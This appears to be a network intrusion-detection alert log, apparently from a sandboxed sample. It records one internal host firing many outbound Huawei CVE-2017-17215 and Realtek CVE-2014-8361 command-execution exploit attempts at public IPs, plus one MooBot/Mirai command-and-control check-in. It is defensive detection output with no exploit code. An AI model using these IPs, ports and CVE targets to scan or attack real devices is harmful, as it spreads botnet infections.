07/20/24-23:01:08.464559	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38498	37215	192.168.2.13	41.193.52.48
07/20/24-23:01:14.522654	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55288	52869	192.168.2.13	51.169.114.105
07/20/24-23:01:18.735326	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52682	52869	192.168.2.13	197.103.196.150
07/20/24-23:01:32.259331	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47720	37215	192.168.2.13	45.132.200.204
07/20/24-23:01:12.539005	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37380	37215	192.168.2.13	41.232.220.239
07/20/24-23:01:22.753217	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50616	37215	192.168.2.13	98.251.241.242
07/20/24-23:01:05.597258	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52738	52869	192.168.2.13	64.186.75.249
07/20/24-23:01:27.360753	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	41696	52869	192.168.2.13	97.115.201.63
07/20/24-23:01:12.484346	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52828	37215	192.168.2.13	39.73.21.88
07/20/24-23:01:14.517363	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	42476	52869	192.168.2.13	156.218.218.173
07/20/24-23:01:02.607205	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40330	37215	192.168.2.13	157.137.243.27
07/20/24-23:01:04.426660	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60064	52869	192.168.2.13	62.204.49.132
07/20/24-23:01:06.537245	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48938	52869	192.168.2.13	82.166.201.81
07/20/24-23:01:02.685657	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56550	37215	192.168.2.13	161.87.144.23
07/20/24-23:01:06.800702	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50878	37215	192.168.2.13	157.120.41.0
07/20/24-23:01:25.397771	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57354	37215	192.168.2.13	41.55.93.197
07/20/24-23:01:27.361992	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53020	52869	192.168.2.13	122.30.247.236
07/20/24-23:01:14.559539	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36102	52869	192.168.2.13	223.227.5.114
07/20/24-23:01:27.361992	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37780	52869	192.168.2.13	97.62.197.167
07/20/24-23:00:59.020228	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44962	37215	192.168.2.13	197.6.247.149
07/20/24-23:01:12.533731	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50748	37215	192.168.2.13	157.235.116.70
07/20/24-23:01:06.093406	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37106	52869	192.168.2.13	62.126.184.91
07/20/24-23:01:06.808312	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59460	37215	192.168.2.13	157.128.63.211
07/20/24-23:01:25.389455	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44348	37215	192.168.2.13	223.72.56.49
07/20/24-23:01:08.435254	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41996	37215	192.168.2.13	157.251.250.48
07/20/24-23:01:05.449847	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47076	52869	192.168.2.13	160.241.202.23
07/20/24-23:01:14.533681	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37950	52869	192.168.2.13	70.194.220.73
07/20/24-23:01:14.539078	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46688	52869	192.168.2.13	168.61.125.85
07/20/24-23:01:08.392907	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57514	37215	192.168.2.13	157.144.91.52
07/20/24-23:01:14.544045	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52052	52869	192.168.2.13	78.8.181.144
07/20/24-23:01:27.352673	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	50294	52869	192.168.2.13	67.52.151.110
07/20/24-23:01:32.267589	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40862	37215	192.168.2.13	41.13.56.61
07/20/24-23:00:59.062572	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52346	37215	192.168.2.13	41.246.201.30
07/20/24-23:01:02.624280	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51372	37215	192.168.2.13	47.63.66.179
07/20/24-23:01:02.607205	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53990	37215	192.168.2.13	197.111.92.249
07/20/24-23:00:59.022701	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51088	37215	192.168.2.13	41.109.79.201
07/20/24-23:01:04.848636	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60118	37215	192.168.2.13	197.22.144.135
07/20/24-23:01:14.525496	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47296	52869	192.168.2.13	148.242.181.53
07/20/24-23:01:14.566160	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41192	52869	192.168.2.13	205.67.98.173
07/20/24-23:01:32.192487	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54900	37215	192.168.2.13	149.71.231.248
07/20/24-23:01:25.449394	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59932	37215	192.168.2.13	41.111.162.130
07/20/24-23:01:04.444180	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41122	52869	192.168.2.13	57.30.119.39
07/20/24-23:01:19.166109	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48986	52869	192.168.2.13	161.241.29.146
07/20/24-23:01:12.543115	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50694	37215	192.168.2.13	77.220.218.149
07/20/24-23:01:14.517249	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59482	52869	192.168.2.13	74.253.225.130
07/20/24-23:01:27.352815	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38826	52869	192.168.2.13	84.205.102.154
07/20/24-23:01:02.594487	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47378	37215	192.168.2.13	157.12.134.58
07/20/24-23:01:27.306441	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46756	37215	192.168.2.13	197.244.180.181
07/20/24-23:01:05.454905	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39292	52869	192.168.2.13	220.26.7.227
07/20/24-23:01:06.806392	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48586	37215	192.168.2.13	197.190.13.194
07/20/24-23:01:12.487419	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53268	37215	192.168.2.13	119.114.133.221
07/20/24-23:01:06.794922	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35056	52869	192.168.2.13	109.242.201.39
07/20/24-23:01:12.504870	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60776	37215	192.168.2.13	197.86.180.158
07/20/24-23:01:06.823879	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39870	37215	192.168.2.13	41.183.235.127
07/20/24-23:01:08.391767	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52516	37215	192.168.2.13	197.246.48.161
07/20/24-23:01:04.447279	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59784	52869	192.168.2.13	193.107.65.164
07/20/24-23:01:25.395167	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57736	37215	192.168.2.13	197.70.204.142
07/20/24-23:01:02.695891	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35050	37215	192.168.2.13	111.163.203.195
07/20/24-23:00:59.022603	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44874	37215	192.168.2.13	116.156.175.81
07/20/24-23:01:14.535851	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	57884	52869	192.168.2.13	137.137.144.212
07/20/24-23:01:27.232388	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50782	37215	192.168.2.13	157.24.246.27
07/20/24-23:01:14.546238	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35956	52869	192.168.2.13	162.26.5.38
07/20/24-23:01:04.855996	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58658	37215	192.168.2.13	197.83.107.218
07/20/24-23:01:08.459273	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56380	37215	192.168.2.13	41.105.81.146
07/20/24-23:01:08.460982	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43196	37215	192.168.2.13	157.6.129.74
07/20/24-23:01:25.390486	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55004	37215	192.168.2.13	41.92.146.26
07/20/24-23:01:32.260443	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56664	37215	192.168.2.13	197.77.5.23
07/20/24-23:01:02.594487	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34794	37215	192.168.2.13	197.74.4.205
07/20/24-23:01:06.798323	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57908	37215	192.168.2.13	157.93.117.231
07/20/24-23:01:14.552891	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53988	52869	192.168.2.13	71.163.97.163
07/20/24-23:01:22.736839	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43120	37215	192.168.2.13	182.15.219.180
07/20/24-23:01:32.244559	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38710	37215	192.168.2.13	157.196.38.186
07/20/24-23:01:06.875564	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44272	52869	192.168.2.13	43.240.11.124
07/20/24-23:01:15.114566	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33096	37215	192.168.2.13	41.83.126.46
07/20/24-23:01:05.639157	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57916	52869	192.168.2.13	126.209.245.77
07/20/24-23:01:14.501031	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42946	52869	192.168.2.13	166.157.8.210
07/20/24-23:01:05.077585	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53172	52869	192.168.2.13	51.169.114.105
07/20/24-23:01:02.595730	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42080	37215	192.168.2.13	197.107.200.173
07/20/24-23:01:04.140547	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49284	52869	192.168.2.13	103.233.66.3
07/20/24-23:01:25.390960	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50634	37215	192.168.2.13	197.30.126.237
07/20/24-23:01:04.846946	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46536	37215	192.168.2.13	197.3.128.173
07/20/24-23:01:03.968570	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38186	52869	192.168.2.13	154.157.246.72
07/20/24-23:01:14.504881	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51378	52869	192.168.2.13	103.233.66.3
07/20/24-23:01:27.306441	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45128	37215	192.168.2.13	197.204.216.196
07/20/24-23:00:59.022237	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56484	37215	192.168.2.13	197.112.125.91
07/20/24-23:01:12.485954	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51000	37215	192.168.2.13	41.117.144.4
07/20/24-23:01:06.177278	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44022	52869	192.168.2.13	157.40.9.209
07/20/24-23:01:02.615482	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57060	37215	192.168.2.13	197.31.246.31
07/20/24-23:01:18.995457	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41456	52869	192.168.2.13	80.102.232.62
07/20/24-23:01:12.494929	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57004	37215	192.168.2.13	157.69.240.56
07/20/24-23:01:14.533681	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33430	52869	192.168.2.13	139.0.230.132
07/20/24-23:01:02.612616	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56802	37215	192.168.2.13	197.96.187.238
07/20/24-23:01:22.737281	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60564	37215	192.168.2.13	157.2.221.76
07/20/24-23:00:59.019747	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52992	37215	192.168.2.13	212.19.225.186
07/20/24-23:01:04.907419	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51860	37215	192.168.2.13	171.62.158.14
07/20/24-23:01:27.354561	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48116	52869	192.168.2.13	206.120.243.243
07/20/24-23:01:07.526795	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39666	52869	192.168.2.13	128.25.16.1
07/20/24-23:01:14.999580	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59478	37215	192.168.2.13	41.216.232.252
07/20/24-23:01:22.737919	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38954	37215	192.168.2.13	41.202.128.225
07/20/24-23:01:36.781604	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57978	37215	192.168.2.13	131.97.187.110
07/20/24-23:01:22.739710	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53906	37215	192.168.2.13	197.14.46.130
07/20/24-23:01:04.841989	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39052	37215	192.168.2.13	197.179.182.47
07/20/24-23:00:59.019788	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51784	37215	192.168.2.13	109.174.172.219
07/20/24-23:01:12.358593	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42094	37215	192.168.2.13	157.206.199.24
07/20/24-23:01:06.806392	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47198	37215	192.168.2.13	41.70.51.151
07/20/24-23:01:19.916702	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35378	52869	192.168.2.13	189.108.39.158
07/20/24-23:01:36.792737	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52886	37215	192.168.2.13	157.180.90.110
07/20/24-23:01:07.511643	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47530	52869	192.168.2.13	64.225.124.7
07/20/24-23:01:19.911350	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39010	52869	192.168.2.13	5.243.194.6
07/20/24-23:01:24.559055	TCP	2030490	ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	33850	2466	192.168.2.13	15.235.203.214
07/20/24-23:01:02.624280	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44146	37215	192.168.2.13	157.81.89.101
07/20/24-23:01:15.072845	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56224	37215	192.168.2.13	157.202.215.15
07/20/24-23:01:04.892375	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55018	37215	192.168.2.13	70.239.125.84
07/20/24-23:01:04.437880	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40114	52869	192.168.2.13	4.26.18.222
07/20/24-23:00:59.020039	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42210	37215	192.168.2.13	197.130.190.85
07/20/24-23:01:22.746773	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33538	37215	192.168.2.13	218.2.110.185
07/20/24-23:01:05.780570	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45790	52869	192.168.2.13	18.101.167.39
07/20/24-23:01:04.861979	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40372	37215	192.168.2.13	197.7.228.103
07/20/24-23:01:14.503288	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44494	52869	192.168.2.13	143.236.166.197
07/20/24-23:01:06.274684	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55104	52869	192.168.2.13	153.33.151.65
07/20/24-23:01:27.361793	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60376	52869	192.168.2.13	176.200.162.136
07/20/24-23:01:36.850221	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37712	37215	192.168.2.13	41.117.156.181
07/20/24-23:01:25.391404	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34686	37215	192.168.2.13	84.46.216.58
07/20/24-23:01:27.354009	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45928	52869	192.168.2.13	141.172.190.0
07/20/24-23:00:59.021338	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53836	37215	192.168.2.13	157.231.4.197
07/20/24-23:01:08.391767	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50078	37215	192.168.2.13	157.86.44.147
07/20/24-23:01:14.566461	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55530	52869	192.168.2.13	184.235.53.151
07/20/24-23:01:14.998444	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52720	37215	192.168.2.13	14.4.167.173
07/20/24-23:01:14.997970	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59724	37215	192.168.2.13	197.31.2.110
07/20/24-23:01:19.575737	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47502	52869	192.168.2.13	152.52.101.23
07/20/24-23:01:25.389307	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52132	37215	192.168.2.13	157.40.53.0
07/20/24-23:01:27.285139	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39776	37215	192.168.2.13	138.132.232.61
07/20/24-23:01:04.879348	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42624	37215	192.168.2.13	157.173.199.42
07/20/24-23:01:08.449908	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34018	37215	192.168.2.13	197.98.226.158
07/20/24-23:01:22.791882	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41854	37215	192.168.2.13	155.208.39.65
07/20/24-23:01:07.464144	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57432	52869	192.168.2.13	60.17.2.252
07/20/24-23:01:14.547545	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35620	52869	192.168.2.13	40.14.24.23
07/20/24-23:01:12.492181	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54264	37215	192.168.2.13	197.155.188.132
07/20/24-23:01:12.533730	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55850	37215	192.168.2.13	197.40.104.9
07/20/24-23:01:22.739710	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43124	37215	192.168.2.13	197.95.202.195
07/20/24-23:01:27.361024	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	50098	52869	192.168.2.13	141.20.36.175
07/20/24-23:01:15.795654	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34910	37215	192.168.2.13	31.56.91.186
07/20/24-23:01:02.685656	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59598	37215	192.168.2.13	197.137.132.163
07/20/24-23:01:06.801053	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50078	37215	192.168.2.13	157.6.40.195
07/20/24-23:01:14.512354	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34260	52869	192.168.2.13	119.150.77.161
07/20/24-23:01:25.391285	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36728	37215	192.168.2.13	157.240.43.254
07/20/24-23:01:22.740154	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59166	37215	192.168.2.13	181.246.127.53
07/20/24-23:01:02.612616	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34798	37215	192.168.2.13	197.156.183.155
07/20/24-23:01:25.388995	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45916	37215	192.168.2.13	157.144.27.108
07/20/24-23:01:04.848636	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56320	37215	192.168.2.13	157.188.43.182
07/20/24-23:01:19.927498	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51338	52869	192.168.2.13	197.89.201.126
07/20/24-23:01:14.517250	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45326	52869	192.168.2.13	49.79.222.119
07/20/24-23:01:17.782283	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42270	37215	192.168.2.13	41.167.86.178
07/20/24-23:01:14.998077	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44014	37215	192.168.2.13	197.44.172.216
07/20/24-23:01:19.864881	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35180	52869	192.168.2.13	25.216.97.59
07/20/24-23:00:59.022895	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47914	37215	192.168.2.13	75.142.64.164
07/20/24-23:01:36.808711	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47686	37215	192.168.2.13	131.78.91.211
07/20/24-23:01:14.539913	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58348	52869	192.168.2.13	130.11.160.84
07/20/24-23:01:08.392907	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45870	37215	192.168.2.13	71.97.252.40
07/20/24-23:01:07.364110	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39898	52869	192.168.2.13	77.190.202.82
07/20/24-23:01:36.847780	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40610	37215	192.168.2.13	188.225.197.111
07/20/24-23:01:12.356534	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45586	37215	192.168.2.13	157.239.128.88
07/20/24-23:01:04.602660	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50994	52869	192.168.2.13	211.159.248.236
07/20/24-23:01:05.142625	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34054	52869	192.168.2.13	98.189.122.151
07/20/24-23:01:06.820921	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47066	37215	192.168.2.13	157.250.169.127
07/20/24-23:01:07.435626	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57950	52869	192.168.2.13	115.52.50.250
07/20/24-23:01:08.381624	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34646	37215	192.168.2.13	189.193.127.127
07/20/24-23:00:59.020786	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58506	37215	192.168.2.13	157.15.177.153
07/20/24-23:01:32.206638	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36170	37215	192.168.2.13	41.236.160.41
07/20/24-23:01:12.553660	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45140	37215	192.168.2.13	197.224.176.148
07/20/24-23:01:22.810316	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39998	37215	192.168.2.13	197.72.120.35
07/20/24-23:01:04.867862	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51116	37215	192.168.2.13	157.15.187.56
07/20/24-23:01:27.222234	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51670	37215	192.168.2.13	41.249.254.95
07/20/24-23:01:32.213464	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50752	37215	192.168.2.13	157.34.139.95
